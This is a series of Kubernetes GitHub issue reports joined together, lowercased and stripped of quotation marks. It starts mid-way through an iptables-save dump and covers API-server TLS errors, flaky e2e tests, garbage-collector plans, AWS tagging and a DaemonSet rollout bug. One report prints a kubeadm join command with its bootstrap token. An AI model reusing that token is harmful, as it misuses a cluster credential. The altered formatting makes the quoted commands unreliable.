-m comment --comment \ kube-system/kube-dns:dns-tcp\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-it2ztr26to4xfpto\r -a kube-svc-erifxisqep7f7of4 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-sep-xkgjvnxiclsdkr6y\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-ruhpxwumoquae2sk --mask 255.255.255.255 --rsource -j kube-sep-ruhpxwumoquae2sk\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-ruhpxwumoquae2sk\r -a kube-svc-tcou7jcqxezgvunu -m comment --comment \ kube-system/kube-dns:dns\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-yil6jzp7a3qyxju2\r -a kube-svc-tcou7jcqxezgvunu -m comment --comment \ kube-system/kube-dns:dns\  -j kube-sep-wyycis43agv5tk7g\r -a kube-svc-xwii3nvyretldsip -m comment --comment \ default/test-standalone-service:\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-7grjzjxhqvkqxkq2\r -a kube-svc-xwii3nvyretldsip -m comment --comment \ default/test-standalone-service:\  -j kube-sep-vrpahzfi5tai5fzm\r -a postrouting_zones -o eth1 -g post_public\r -a postrouting_zones -o eth0 -g post_public\r -a postrouting_zones -g post_public\r -a post_public -j post_public_log\r -a post_public -j post_public_deny\r -a post_public -j post_public_allow\r -a prerouting_zones -i eth1 -g pre_public\r -a prerouting_zones -i eth0 -g pre_public\r -a prerouting_zones -g pre_public\r -a pre_public -j pre_public_log\r -a pre_public -j pre_public_deny\r -a pre_public -j pre_public_allow\r commit\r   completed on mon jan 22 15:38:58 2018\r   generated by iptables-save v1.4.21 on mon jan 22 15:38:58 2018\r  mangle\r :prerouting accept  6177:1940607 \r :input accept  5882:1928807 \r :forward accept  0:0 \r :output accept  5846:2262553 \r :postrouting accept  5846:2262553 \r :forward_direct -  0:0 \r :input_direct -  0:0 \r :output_direct -  0:0 \r :postrouting_direct -  0:0 \r :prerouting_zones -  0:0 \r :prerouting_zones_source -  0:0 \r :prerouting_direct -  0:0 \r :pre_public -  0:0 \r :pre_public_allow -  0:0 \r :pre_public_deny -  0:0 \r :pre_public_log -  0:0 \r -a prerouting -j prerouting_direct\r -a prerouting -j prerouting_zones_source\r -a prerouting -j prerouting_zones\r -a input -j input_direct\r -a forward -j forward_direct\r -a output -j output_direct\r -a postrouting -j postrouting_direct\r -a prerouting_zones -i eth1 -g pre_public\r -a prerouting_zones -i eth0 -g pre_public\r -a prerouting_zones -g pre_public\r -a pre_public -j pre_public_log\r -a pre_public -j pre_public_deny\r -a pre_public -j pre_public_allow\r commit\r   completed on mon jan 22 15:38:58 2018\r   generated by iptables-save v1.4.21 on mon jan 22 15:38:58 2018\r  security\r :input accept  5882:1928807 \r :forward accept  0:0 \r :output accept  5847:2262731 \r :forward_direct -  0:0 \r :input_direct -  0:0 \r :output_direct -  0:0 \r -a input -j input_direct\r -a forward -j forward_direct\r -a output -j output_direct\r commit\r   completed on mon jan 22 15:38:58 2018\r   generated by iptables-save v1.4.21 on mon jan 22 15:38:58 2018\r  raw\r :prerouting accept  6177:1940607 \r :output accept  5848:2266789 \r :output_direct -  0:0 \r :prerouting_zones -  0:0 \r :prerouting_zones_source -  0:0 \r :prerouting_direct -  0:0 \r :pre_public -  0:0 \r :pre_public_allow -  0:0 \r :pre_public_deny -  0:0 \r :pre_public_log -  0:0 \r -a prerouting -j prerouting_direct\r -a prerouting -j prerouting_zones_source\r -a prerouting -j prerouting_zones\r -a output -j output_direct\r -a prerouting_zones -i eth1 -g pre_public\r -a prerouting_zones -i eth0 -g pre_public\r -a prerouting_zones -g pre_public\r -a pre_public -j pre_public_log\r -a pre_public -j pre_public_deny\r -a pre_public -j pre_public_allow\r commit\r   completed on mon jan 22 15:38:58 2018\r   generated by iptables-save v1.4.21 on mon jan 22 15:38:58 2018\r  filter\r :input accept  0:0 \r :forward accept  0:0 \r :output accept  592:195952 \r :docker -  0:0 \r :docker-isolation -  0:0 \r :forward_in_zones -  0:0 \r :forward_in_zones_source -  0:0 \r :forward_out_zones -  0:0 \r :forward_out_zones_source -  0:0 \r :forward_direct -  0:0 \r :fwdi_public -  0:0 \r :fwdi_public_allow -  0:0 \r :fwdi_public_deny -  0:0 \r :fwdi_public_log -  0:0 \r :fwdo_public -  0:0 \r :fwdo_public_allow -  0:0 \r :fwdo_public_deny -  0:0 \r :fwdo_public_log -  0:0 \r :input_zones -  0:0 \r :input_zones_source -  0:0 \r :input_direct -  0:0 \r :in_public -  0:0 \r :in_public_allow -  0:0 \r :in_public_deny -  0:0 \r :in_public_log -  0:0 \r :kube-firewall -  0:0 \r :kube-forward -  0:0 \r :kube-services -  0:0 \r :output_direct -  0:0 \r -a input -j kube-firewall\r -a input -m comment --comment \ kubernetes service portals\  -j kube-services\r -a input -m conntrack --ctstate related,established -j accept\r -a input -i lo -j accept\r -a input -j input_direct\r -a input -j input_zones_source\r -a input -j input_zones\r -a input -m conntrack --ctstate invalid -j drop\r -a input -j reject --reject-with icmp-host-prohibited\r -a forward -m comment --comment \ kubernetes forward rules\  -j kube-forward\r -a forward -j docker-isolation\r -a forward -o docker0 -j docker\r -a forward -o docker0 -m conntrack --ctstate related,established -j accept\r -a forward -i docker0 ! -o docker0 -j accept\r -a forward -i docker0 -o docker0 -j accept\r -a forward -m conntrack --ctstate related,established -j accept\r -a forward -i lo -j accept\r -a forward -j forward_direct\r -a forward -j forward_in_zones_source\r -a forward -j forward_in_zones\r -a forward -j forward_out_zones_source\r -a forward -j forward_out_zones\r -a forward -m conntrack --ctstate invalid -j drop\r -a forward -j reject --reject-with icmp-host-prohibited\r -a forward -s 10.244.0.0/16 -j accept\r -a forward -d 10.244.0.0/16 -j accept\r -a output -j kube-firewall\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -j output_direct\r -a docker-isolation -j return\r -a forward_in_zones -i eth1 -g fwdi_public\r -a forward_in_zones -i eth0 -g fwdi_public\r -a forward_in_zones -g fwdi_public\r -a forward_out_zones -o eth1 -g fwdo_public\r -a forward_out_zones -o eth0 -g fwdo_public\r -a forward_out_zones -g fwdo_public\r -a fwdi_public -j fwdi_public_log\r -a fwdi_public -j fwdi_public_deny\r -a fwdi_public -j fwdi_public_allow\r -a fwdi_public -p icmp -j accept\r -a fwdo_public -j fwdo_public_log\r -a fwdo_public -j fwdo_public_deny\r -a fwdo_public -j fwdo_public_allow\r -a input_zones -i eth1 -g in_public\r -a input_zones -i eth0 -g in_public\r -a input_zones -g in_public\r -a in_public -j in_public_log\r -a in_public -j in_public_deny\r -a in_public -j in_public_allow\r -a in_public -p icmp -j accept\r -a in_public_allow -p tcp -m tcp --dport 22 -m conntrack --ctstate new -j accept\r -a in_public_allow -p tcp -m tcp --dport 1080 -m conntrack --ctstate new -j accept\r -a in_public_allow -p tcp -m tcp --dport 6443 -m conntrack --ctstate new -j accept\r -a in_public_allow -p tcp -m tcp --dport 10250 -m conntrack --ctstate new -j accept\r -a in_public_allow -p tcp -m tcp --dport 10251 -m conntrack --ctstate new -j accept\r -a in_public_allow -p tcp -m tcp --dport 10252 -m conntrack --ctstate new -j accept\r -a in_public_allow -p tcp -m tcp --dport 10255 -m conntrack --ctstate new -j accept\r -a in_public_allow -p tcp -m tcp --dport 2379:2380 -m conntrack --ctstate new -j accept\r -a in_public_allow -p tcp -m tcp --dport 8080 -m conntrack --ctstate new -j accept\r -a in_public_allow -p tcp -m tcp --dport 3000 -m conntrack --ctstate new -j accept\r -a in_public_allow -p tcp -m tcp --dport 9090 -m conntrack --ctstate new -j accept\r -a in_public_allow -p tcp -m tcp --dport 5678 -m conntrack --ctstate new -j accept\r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r -a kube-forward -m comment --comment \ kubernetes forwarding rules\  -m mark --mark 0x4000/0x4000 -j accept\r -a kube-forward -s 10.244.0.0/16 -m comment --comment \ kubernetes forwarding conntrack pod source rule\  -m conntrack --ctstate related,established -j accept\r -a kube-forward -d 10.244.0.0/16 -m comment --comment \ kubernetes forwarding conntrack pod destination rule\  -m conntrack --ctstate related,established -j accept\r -a kube-services -d 10.107.40.41/32 -p tcp -m comment --comment \ kube-system/kubernetes-dashboard: has no endpoints\  -m tcp --dport 443 -j reject --reject-with icmp-port-unreachable\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version:\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r kubeadm verison:\r kubeadm version: &version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r $ cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r - kernel  e.g.  uname -a  :\r $ uname -a\r linux ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal 3.10.0-693.5.2.el7.x86_64  1 smp fri oct 20 20:32:50 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r $ sudo docker info\r containers: 8\r running: 6\r paused: 0\r stopped: 2\r images: 10\r server version: 1.12.6\r storage driver: devicemapper\r pool name: docker-8:1-4198598-pool\r pool blocksize: 65.54 kb\r base device size: 10.74 gb\r backing filesystem: xfs\r data file: /dev/loop0\r metadata file: /dev/loop1\r data space used: 1.029 gb\r data space total: 107.4 gb\r data space available: 16.67 gb\r metadata space used: 1.446 mb\r metadata space total: 2.147 gb\r metadata space available: 2.146 gb\r thin pool minimum free space: 10.74 gb\r udev sync supported: true\r deferred removal enabled: true\r deferred deletion enabled: true\r deferred deleted device count: 0\r data loop file: /var/lib/docker/devicemapper/devicemapper/data\r warning: usage of loopback devices is strongly discouraged for production use. use --storage-opt dm.thinpooldev to specify a custom block storage device.\r metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata\r library version: 1.02.140-rhel7  2017-05-03 \r logging driver: journald\r cgroup driver: systemd\r plugins:\r volume: local\r network: bridge host null overlay\r swarm: inactive\r runtimes: docker-runc runc\r default runtime: docker-runc\r security options: seccomp\r kernel version: 3.10.0-693.5.2.el7.x86_64\r operating system: centos linux 7  core \r ostype: linux\r architecture: x86_64\r number of docker hooks: 3\r cpus: 8\r total memory: 15.51 gib\r name: ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal\r id: ynth:esps:nhs7:ztbg:wpf6:6uxw:zee5:jxmu:ivxj:dwjw:64bf:oy5c\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r insecure registries:\r 127.0.0.0/8\r registries: docker.io  secure \r \r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r /help wanted\r /area ha\r /area apiserver \r  \r \r   what happened  :\r  lvs+keepalived +kube-apiserver for ha\r \r lvs_server:\r 10.155.12.1\r 10.155.12.2\r 10.155.12.3\r \r kube-apiserver:\r 10.154.11.1\r 10.154.11.2\r 10.154.11.3\r \r the same /var/log/messages are seen on each server:\r \r jul 24 08:44:16 vlnx154011001 kube-apiserver: i0724 08:44:16.757261  227350 logs.go:49  http: tls handshake error from 10.155.12.3:38170: read tcp 10.154.11.1:6443->10.155.12.3:38170: read: connection reset by peer\r \r jul 24 08:44:08 vlnx154011002 kube-apiserver: i0724 08:44:08.620375  243804 logs.go:49  http: tls handshake error from 10.155.12.2:36702: read tcp 10.154.11.2:6443->10.155.12.2:36702: read: connection reset by peer\r \r jul 24 08:44:51 vlnx154011003 kube-apiserver: i0724 08:44:51.203492   14373 logs.go:49  http: tls handshake error from 10.155.12.1:47062: read tcp 10.154.11.3:6443->10.155.12.1:47062: read: connection reset by peer\r \r and the lvs connection is ok:\r \r ip virtual server version 1.2.1  size=1048576 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  10.155.12.254:6443 rr persistent 1\r   -> 10.154.11.1:6443             route   3      3          0         \r   -> 10.154.11.2:6443             route   3      0          0         \r   -> 10.154.11.3:6443             route   3      0          0   \r \r   what you expected to happen  :\r no tls handshake error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : gitversion:\ v1.10.0\ \r - cloud provider or hardware configuration: 4core 4gb mem\r - os  e.g. from /etc/os-release : centos linux release 7.3.1611  core \r - kernel  e.g.  uname -a  : 3.10.0-514.el7.x86_64\r - install tools: binary\r - others: thanks\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gce-cos-master-slow\r \r   which test s  are failing  :   sig-network  services should have session affinity work for loadbalancer service with esipp on  slow   disabledforlargeclusters \r \r   since when has it been failing  :  this test started to be flaky on 11/18\r \r   testgrid link  :  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-cos-master-slow\r \r   reason for failure  :\r \r looks to be a pretty straightfowards test not passing:\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/service.go:1648\r nov 26 10:03:00.209: affinity should hold but didn't.\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:1452\r    \r \r if we look at triage, this test has  always  been flaky, but it got significantly more flaky  2x failures  on 10/27: https://storage.googleapis.com/k8s-gubernator/triage/index.html?date=2018-10-29&test=services%20should%20have%20session%20affinity%20work%20for%20loadbalancer%20service%20with%20esipp\r \r   anything else we need to know  :\r \r this job is non-blocking for 1.13,  except  if this represents an actual bug in affinity the 1.13 team needs to know asap.\r \r this failure may or may not be related to  52495.  it looks like this test was disabled for large clusters, but maybe the problem wasn't the cluster size.\r \r <!-- do not edit below this line -->\r   / attn:\r @thockin @caseydavenport @dcbw

the current provisioner will always attempt to provision a volume on each sync period, regardless of current state or when the last attempt was made.  this results in 1 failure to process rapidly in succession, as the first failure persists an error status which triggers a watch event which triggers a sync ... etc.  retry logic similar to what @jsafrane implement for the recycler is needed here.  @kubernetes/rh-storage

client performance for non linux/amd64 platforms is unlikely to be important enough that we should compile protobuf and codecgen for those platforms.  i suspect conditionally disabling those everything except a few would dramatically cut compile times and speed up builds and the merge queue  @kubernetes/sig-api-machinery @kubernetes/sig-testing

this is a umbrella issue for todos and known problems of the garbage collector that we have to solve before graduating gc to beta.\r \r   _functionalities  _\r 1.  optional \r      this race will cause  deleteoptions.orphandependents=true  not orphan all dependents. we expect this race to be rare  . here are the details: there is no guarantee on the ordering of the events of different resources, it's possible that the gc observes the orphan request  which is an update event of the owner resource , before observing the creation/update of the dependents. consequently, these dependents will not be orphaned.  30483 adds a monitor the latency of watch, because the latency is small, so this race is rare.\r    considered solution:\r    a. let the gc wait for a short period of time  e.g., 1 min  before carrying out the orphaning procedure, but it won't thoroughly solve the problem, and it will make the deletion slow.\r    b. let the user supply a resourceversion, and before carrying out  the orphaning procedure, let gc wait until it has observed events of the dependent resource with a larger resourceversion. problem is gc is a client, and a client should treat resourceversion as opaque.\r 2.  optional  need a discovery mechanism to determine what resources gc should manage. ~~for example, gc needs to determine if it should watch for extensions/v1beta1/job or batch/v1/job.  edit: this use case doesn't matter, because the ownerref will only point to one version of the object, the other version of the object will just be a shadow ~~\r 3. ~~ done  according to the controllerref proposal  25256, \ garbagecollector will remove controllerref from objects that no longer points to existing controllers\ .~~\r 4. ~~ done  update at least one controller to use gc. now replicaset controller and replicationcontroller manager use gc  https://github.com/kubernetes/kubernetes/pull/27600 ~~\r 5. ~~ done   update  we have foreground gc now. expose the progress of garbage collection. see  29891.~~ \r 6. ~~ fixing, see  42938   the design doc said before orphaning dependents, gc should wait for the owner's controller to bump up owner's observedgeneration, which means the owner controller has acknowledged that it has observed the deletion of the owner and will stop adoption. otherwise gc's orphaning process will race with owner controller's adoption process, and results in the deletion of the dependents. we hasn't implemented this yet. we expect this race to be rare, because currently only the replicaset and replication controller does the adoption, and it's triggered by updates to rc or the 10-minute resync. we have an e2e test for orphaning 100 pods controlled by a rc, it never hits this race.~~\r 7. ~~ done for new resources. for old resources 200 is returned for compatiblity  api server should return 202 if a deletion request is not completed synchronously.  https://github.com/kubernetes/kubernetes/issues/33196 ~~\r 8.   tracked in https://github.com/kubernetes/kubernetes/issues/44507  supporting non-core apis, either registered via thirdparty resource or kube-aggregator.\r \r   _peformance  _\r 1.   mechanism is there, need numbers  benchmark the average queuing time  eventqueue and dirtyqueue   https://github.com/kubernetes/kubernetes/pull/28387 \r ~~2.  done  improvement: update the list and watch to only store the typemeta and objectmeta  https://github.com/kubernetes/kubernetes/pull/28480 ~~\r 3. ~~ done   31167. caching known deleted uid. gc contacts api server to see if an owner exists when processing its dependents. if the owner doesn't exist according to api server, it won't exist in the future either, because it's impossible for user to predicate uid of a future object and put it in the ownerref. such a cache is very useful in the rc-pods case, because gc will check for the existence of the rc for every pods it created. such a cache will help api server as well because a get request with json media type is expensive for the api server.~~\r ~~4.  rfc  in api server, support resouceversion as a delete precondition. this will make the  get    https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/garbagecollector/garbagecollector.go l676  in processitem   unnecessary.~~\r \r references:\r -  design doc  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/garbage-collection.md \r - pr:  24509  25599\r \r @lavalamp @gmarek @derekwaynecarr @kubernetes/sig-api-machinery \r

docker-multinode scripts are not available for the release 1.3.0. is the procedure \ http://kubernetes.io/docs/getting-started-guides/docker-multinode/\  changed?

bug:  kubectl/kubernetes 1.4 validation not handling incomplete s3 logging on a service.    kubernetes version    use  kubectl version  :  kubectl version client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : aws -   kernel    e.g.  uname -a  : -   install tools  : kops    what happened  :  kubectl/kubernetes 1.4 validation not handling incomplete s3 logging on a service.  e.g. https://gist.github.com/ajohnstone/08472de4a3558a1fdcad5f901bfda455  the error in the kube-controller logs is mis-leading.  e1004 16:18:59.418451       5 servicecontroller.go:755  failed to process service. retrying in 5m0s: failed to create load balancer for service staging/smash-website-int: unable to update load balancer attributes during attribute sync: validationerror: no s3 bucket name specified     status code: 400, request id: 419a9257-8a4e-11e6-bab6-4ba6cc17f47f    what you expected to happen  :  validation to reject the incomplete annotations and/or better logging.    how to reproduce it    as minimally and precisely as possible : https://gist.github.com/ajohnstone/08472de4a3558a1fdcad5f901bfda455  cc: @justinsb

in order to use some resources in aws, kubernetes currently requires \ ownership\  of the resource with the tag  kubernetescluster=<cluster_id> . however, some resources can belong to more than a single kubernetes cluster. resources could potentially be used by things outside of kubernetes, or perhaps by other kubernetes clusters one day. once the  kubernetescluster  tag is applied to these resources and a cluster has \ ownership\  over them, there is a potential that kubernetes tools like kube-up or kops could modify or remove these resources.  a tag indicating that a resource is \ shared\  would be valuable. @justinsb has said that he thinks it should be something like  kubernetes.io/<clustername>=shared .  it may be valuable to rethink the  kubernetescluster  tag in general, keeping in mind use cases like shared resources and multiple cluster ownership   22058 .

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/291/  failed:  k8s.io  esipp  slow  feature:externaltrafficlocalonly  should work for type=nodeport  slow  feature:externaltrafficlocalonly  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1200 nov 26 04:14:12.295: could not reach http service through 104.154.159.19:30461/clientip after 5m0s: <nil> /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:2417

currently, aws re-tries every aws api call several times due to aws throttling. timers and number of retries are not configurable. they may be too long for small clusters, which are unlikely to hit api quota and too short for big clusters which would need longer recovery times. \r \r would it make sense to make them configurable? i don't have any real user behind this, it's more gut feeling that this may go wrong for large deployments.\r \r if they should be configurable, when the configuration should be? in aws.conf from  --cloud-config=/etc/aws.conf ? or on api server / controller-manager / kubelet command-line   --aws-timer-scale=2.0  to double the timers? \r \r @justinsb, opinions?

encountered against 1.5.2 last night:\r \r https://ci.openshift.redhat.com/jenkins/job/zz_origin_gce_image/106/testreport/junit/ root /extended/_k8s_io__statefulset__k8s_io__basic_statefulset_functionality_should_provide_basic_identity/\r \r    \r feb  8 21:09:20.102: info: at 2017-02-08 20:49:08 -0500 est - event for pet-0: {default-scheduler } failedscheduling:  schedulerpredicates failed due to persistentvolumeclaim is not bound: \ datadir-pet-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ datadir-pet-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ datadir-pet-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ datadir-pet-0\ , which is unexpected. \r feb  8 21:09:20.102: info: at 2017-02-08 20:54:38 -0500 est - event for datadir-pet-0: {persistentvolume-controller } provisioningfailed: failed to provision volume with storageclass \ \ : googleapi: got http response code 502 with body: <!doctype html>\r <html lang=en>\r   <meta charset=utf-8>\r   <meta name=viewport content=\ initial-scale=1, minimum-scale=1, width=device-width\ >\r   <title>error 502  server error !!1</title>\r   <style>\r      {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background: fff;color: 222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}  > body{background:url //www.google.com/images/errors/robot.png  100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color: 777;text-decoration:none}a img{border:0}@media screen and  max-width:772px {body{background:none;margin-top:0;max-width:none;padding-right:0}} logo{background:url //www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png  no-repeat;margin-left:-5px}@media only screen and  min-resolution:192dpi { logo{background:url //www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png  no-repeat 0% 0%/100% 100%;-moz-border-image:url //www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png  0}}@media only screen and  -webkit-min-device-pixel-ratio:2 { logo{background:url //www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png  no-repeat;-webkit-background-size:100% 100%}} logo{display:inline-block;height:54px;width:150px}\r   </style>\r   <a href=//www.google.com/><span id=logo aria-label=google></span></a>\r   <p><b>502.</b> <ins>that’s an error.</ins>\r   <p>the server encountered a temporary error and could not complete your request.<p>please try again in 30 seconds.  <ins>that’s all we know.</ins>\r \r feb  8 21:09:20.102: info: at 2017-02-08 20:54:39 -0500 est - event for datadir-pet-0: {persistentvolume-controller } provisioningfailed: failed to provision volume with storageclass \ \ : googleapi: error 409: the resource 'projects/openshift-gce-devel-ci/zones/us-central1-a/disks/kubernetes-dynamic-pvc-f222bd3f-ee69-11e6-8e42-42010a800002' already exists, alreadyexists\r    \r \r it does not look like the provisioner retried in 30s, but the run is longer than that and did not wait.

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : daemonset, update, updatednumberscheduled\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3+coreos.0\ , gitcommit:\ 70bc0937018d89b0d529d428eed8c444d8e7729a\ , gittreestate:\ clean\ , builddate:\ 2017-05-11t18:15:57z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r -   kernel    e.g.  uname -a  :\r -   install tools  : https://github.com/zalando-incubator/kubernetes-on-aws\r -   others  :\r \r \r   what happened  :\r \r only subset of pods of a daemonset gets updated when applying a new version.\r \r status of the daemonset many hours after applying a new version.\r    \r status:\r   currentnumberscheduled: 9\r   desirednumberscheduled: 9\r   numberavailable: 9\r   numbermisscheduled: 0\r   numberready: 9\r   observedgeneration: 20\r   updatednumberscheduled: 4\r    \r this is the manifest we applied: https://github.com/zalando-incubator/kubernetes-on-aws/blob/dev/cluster/manifests/skipper/daemonset.yaml\r \r this was the change: https://github.com/zalando-incubator/kubernetes-on-aws/commit/9d4e44d1e81f420cdb0949c4a7186ef228256825\r \r   what you expected to happen  :\r \r expected that all pods of a daemonset would be updated to the latest version.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r not sure. out of 25 clusters we currently see the issue in 14 of them.\r \r \r   anything else we need to know  :\r \r output from kubectl describe daemonset:\r \r    \r $ kubectl --namespace kube-system describe daemonset skipper-ingress\r name:\t\tskipper-ingress\r selector:\tapplication=skipper-ingress\r node-selector:\t<none>\r labels:\t\tapplication=skipper-ingress\r \t\tcomponent=ingress\r \t\tversion=v0.9.37\r annotations:\tkubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ daemonset\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ application\ :\ skipper-ingress\ ,\ component\ :\ ingress\ ,\ ver...\r desired number of nodes scheduled: 9\r current number of nodes scheduled: 9\r number of nodes scheduled with up-to-date pods: 4\r number of nodes scheduled with available pods: 9\r number of nodes misscheduled: 0\r pods status:\t9 running / 0 waiting / 0 succeeded / 0 failed\r pod template:\r   labels:\tapplication=skipper-ingress\r \t\tcomponent=ingress\r \t\tdaemonset.kubernetes.io/podtemplatehash=3334413878\r \t\tversion=v0.9.37\r   annotations:\tscheduler.alpha.kubernetes.io/critical-pod=\r   containers:\r    skipper-ingress:\r     image:\tregistry.opensource.zalan.do/teapot/skipper:v0.9.37\r     port:\t9999/tcp\r     args:\r       skipper\r       -application-log-level=debug\r       -kubernetes\r       -kubernetes-in-cluster\r       -address=:9999\r       -proxy-preserve-host\r       -serve-host-metrics\r     limits:\r       cpu:\t200m\r       memory:\t200mi\r     requests:\r       cpu:\t\t25m\r       memory:\t\t25mi\r     environment:\t<none>\r     mounts:\t\t<none>\r   volumes:\t\t<none>\r events:\t\t\t<none>\r    \r \r i tried to look in the controller-manager logs for any hints on what could be wrong, but i didn't really find anything useful, i'm also not completely sure what to look for. any pointers would be helpful.

environment:\r \r kubernetes version  use kubectl version : v1.7.0\r cloud provider or hardware configuration  :\r os  e.g. from /etc/os-release : centos 7\r kernel  e.g. uname -a : linux k8s-master 3.10.0-514.6.2.el7.x86_64\r install tools: kubeadm\r others:\r docker version : docker version 1.12.6, \r my rpm version :\r docker-1.12.6-16.el7.centos.x86_64.rpm \r kubectl-1.7.0-0.x86_64.rpm \r kubernetes-cni-0.5.1-0.x86_64.rpm\r kubeadm-1.7.0-0.x86_64.rpm\r kubelet-1.7.0-0.x86_64.rpm\r \r on problem node , output is ok\r k8s-node2  kubeadm join --token 0a1f48.21ac78df5a08989e 10.132.41.234:6443\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  preflight  running pre-flight checks\r  discovery  trying to connect to api server \ 10.132.41.234:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://10.132.41.234:6443\ \r  discovery  cluster info signature and contents are valid, will use api server \ https://10.132.41.234:6443\ \r  discovery  successfully established connection with api server \ 10.132.41.234:6443\ \r  bootstrap  detected server version: v1.7.0\r  bootstrap  the server supports the certificates api  certificates.k8s.io/v1beta1 \r  csr  created api client to obtain unique certificate for this node, generating keys and certificate signing request\r  csr  received signed certificate from the api server, generating kubeconfig...\r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r \r node join complete:\r   certificate signing request sent to master and response\r   